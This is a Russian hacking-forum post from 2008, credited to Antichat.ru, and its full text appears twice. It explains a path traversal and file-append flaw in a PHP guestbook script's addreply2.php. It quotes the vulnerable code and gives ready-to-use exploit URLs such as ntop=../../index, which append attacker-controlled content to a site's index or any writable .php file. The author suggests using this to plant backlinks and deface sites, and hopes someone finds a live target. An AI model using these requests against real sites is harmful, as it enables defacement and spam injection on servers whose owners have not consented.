Dronga
20.03.2008, 20:17
Не совсем стандартная бага и таких примеров маловато.. Пусть будет здесь.
Налетел абсолютно случайно на скрипт, который лежит здесь: http://newscript.ru/?q=taxonomy/term/75&page=1
Поставил... Вот типа такой борды-гостевой-форума человеку и надо было. Прикрутили диз, всё замечательно. Но душе хотелось романтики =)
Полезли в исходник. Собственно, ничего сложного там нет. Остановимся на addreply2.php.
<?php
....
function u($urlz){
$urlz=str_replace("<","<",$urlz);
$urlz=str_replace(">",">",$urlz);
$urlz=str_replace("\"","",$urlz);
$urlz=str_replace("\n","",$urlz);
$urlz=str_replace("\r","",$urlz);
$urlz=str_replace(" "," ",$urlz);
$urlz=str_replace("***","фиг",$urlz);
$urlz=str_replace("блядь","блин",$urlz);
$urlz=str_replace("****","собака",$urlz);
$urlz=str_replace("мудак","дурак",$urlz);
$urlz=str_replace("мадазвон","сволочь",$urlz);
$urlz=str_replace("пиздец","копец",$urlz);
$urlz=str_replace("мудаки","дураки",$urlz);
$urlz=str_replace("JockeR","JokeR",$urlz);
$urlz=str_replace("jocker","joker",$urlz);
$urlz=str_replace("jockeR","joker",$urlz);
$urlz=str_replace("заебал","задолбал",$urlz);
return $urlz;
}
...
$ind=fopen("data/$ntop.php","a+");
...
if($urlz==""){
$si="no url";
}else{
$si="<a href=\\\"".u($urlz)."\\\">".u($urlz)."</a>";
}
...
$rind="<?
echo\"
<table border=\\\"\$border\\\" bgcolor=\\\"\$tablebg\\\" width=\\\"700\\\">
<tr><td bgcolor=\\\"#C0C0C0\\\">От: $pis Сайт: $si<br>Тема: Re:$topicz <br>Сообщение:<br><font color=\\\"#FFFFFF\\\">".mm($mess)."</font></td></tr>
<tr><td background=\\\"img/zag.jpg\\\"><font color=\\\"#FFFFFF\\\"><p align=\\\"center\\\"><a href=\\\"$dirfor/addreply.php?top=$topicz&ntop=$ntop\\\">ОТВЕТ</a></p></font></td></tr>
</table>
\";
?>
";
fwrite($ind,$rind);
..
?>
Кто по коду всё понял - молодцы, закрываем страницу. Остальные читаем дальше. Этот скрипт используется когда оставляют пост. Скрипт не использует базу и все мессаги хранятся в php-файлах, которые подключаются непосредственно при просмотре. Так вот когда человек делает пост, скрипт его сохраняет под номером в каталоге data. Номер поста определяется переменной $ntop, которая передается в GET. Кстати, для работы скрипта необходимо register_globals = On в php.ini.
Естественно никаких проверок $ntop нет. Поэтому тут мы можем немного пофокусничать.
http://sire.ru/z-forum/addreply2.php?ntop=999999&urlz=http://ya.ru
Создаст файл 999999.php в каталоге data.
http://site.ru/z-forum/addreply2.php?ntop=../999999&urlz=http://ya.ru
Создаст наш файл в каталоге выше..
http://site.ru/z-forum/addreply2.php?ntop=../index&urlz=http://ya.ru
Допишет индексовый файл форума..
http://site.ru/z-forum/addreply2.php?ntop=../../index&urlz=http://ya.ru
Допишет индексовую страничку сайта =)))
Резонный вопрос, почему я использую вторую переменную $urlz ?? Потому во всех полях достаточно твердая фильтрация, а используя $urlz теоритически могу беклинков на свой сайт понаоставлять, на любой странице сайта где расположен уязвимый скрипт, а при удачном стечении обстоятельств и сервера ;)
Если есть права, то можно дописать в любой файл на ФС сервера с расширением php. %00 на подопытном сервере не прокатило. Естественно, так можно и сайт задефейсить и просто испортить ему фейс неосторожной вставкой в файлы шаблона ;)
PS. Живых сайтов для примера в гугле не отыскалось, домашняя страница автора тоже приказала долго жить. А вдруг кому попадется.
(с) Antichat.ru
Налетел абсолютно случайно на скрипт, который лежит здесь: http://newscript.ru/?q=taxonomy/term/75&page=1
Поставил... Вот типа такой борды-гостевой-форума человеку и надо было. Прикрутили диз, всё замечательно. Но душе хотелось романтики =)
Полезли в исходник. Собственно, ничего сложного там нет. Остановимся на addreply2.php.
<?php
....
function u($urlz){
$urlz=str_replace("<","<",$urlz);
$urlz=str_replace(">",">",$urlz);
$urlz=str_replace("\"","",$urlz);
$urlz=str_replace("\n","",$urlz);
$urlz=str_replace("\r","",$urlz);
$urlz=str_replace(" "," ",$urlz);
$urlz=str_replace("***","фиг",$urlz);
$urlz=str_replace("блядь","блин",$urlz);
$urlz=str_replace("****","собака",$urlz);
$urlz=str_replace("мудак","дурак",$urlz);
$urlz=str_replace("мадазвон","сволочь",$urlz);
$urlz=str_replace("пиздец","копец",$urlz);
$urlz=str_replace("мудаки","дураки",$urlz);
$urlz=str_replace("JockeR","JokeR",$urlz);
$urlz=str_replace("jocker","joker",$urlz);
$urlz=str_replace("jockeR","joker",$urlz);
$urlz=str_replace("заебал","задолбал",$urlz);
return $urlz;
}
...
$ind=fopen("data/$ntop.php","a+");
...
if($urlz==""){
$si="no url";
}else{
$si="<a href=\\\"".u($urlz)."\\\">".u($urlz)."</a>";
}
...
$rind="<?
echo\"
<table border=\\\"\$border\\\" bgcolor=\\\"\$tablebg\\\" width=\\\"700\\\">
<tr><td bgcolor=\\\"#C0C0C0\\\">От: $pis Сайт: $si<br>Тема: Re:$topicz <br>Сообщение:<br><font color=\\\"#FFFFFF\\\">".mm($mess)."</font></td></tr>
<tr><td background=\\\"img/zag.jpg\\\"><font color=\\\"#FFFFFF\\\"><p align=\\\"center\\\"><a href=\\\"$dirfor/addreply.php?top=$topicz&ntop=$ntop\\\">ОТВЕТ</a></p></font></td></tr>
</table>
\";
?>
";
fwrite($ind,$rind);
..
?>
Кто по коду всё понял - молодцы, закрываем страницу. Остальные читаем дальше. Этот скрипт используется когда оставляют пост. Скрипт не использует базу и все мессаги хранятся в php-файлах, которые подключаются непосредственно при просмотре. Так вот когда человек делает пост, скрипт его сохраняет под номером в каталоге data. Номер поста определяется переменной $ntop, которая передается в GET. Кстати, для работы скрипта необходимо register_globals = On в php.ini.
Естественно никаких проверок $ntop нет. Поэтому тут мы можем немного пофокусничать.
http://sire.ru/z-forum/addreply2.php?ntop=999999&urlz=http://ya.ru
Создаст файл 999999.php в каталоге data.
http://site.ru/z-forum/addreply2.php?ntop=../999999&urlz=http://ya.ru
Создаст наш файл в каталоге выше..
http://site.ru/z-forum/addreply2.php?ntop=../index&urlz=http://ya.ru
Допишет индексовый файл форума..
http://site.ru/z-forum/addreply2.php?ntop=../../index&urlz=http://ya.ru
Допишет индексовую страничку сайта =)))
Резонный вопрос, почему я использую вторую переменную $urlz ?? Потому во всех полях достаточно твердая фильтрация, а используя $urlz теоритически могу беклинков на свой сайт понаоставлять, на любой странице сайта где расположен уязвимый скрипт, а при удачном стечении обстоятельств и сервера ;)
Если есть права, то можно дописать в любой файл на ФС сервера с расширением php. %00 на подопытном сервере не прокатило. Естественно, так можно и сайт задефейсить и просто испортить ему фейс неосторожной вставкой в файлы шаблона ;)
PS. Живых сайтов для примера в гугле не отыскалось, домашняя страница автора тоже приказала долго жить. А вдруг кому попадется.
(с) Antichat.ru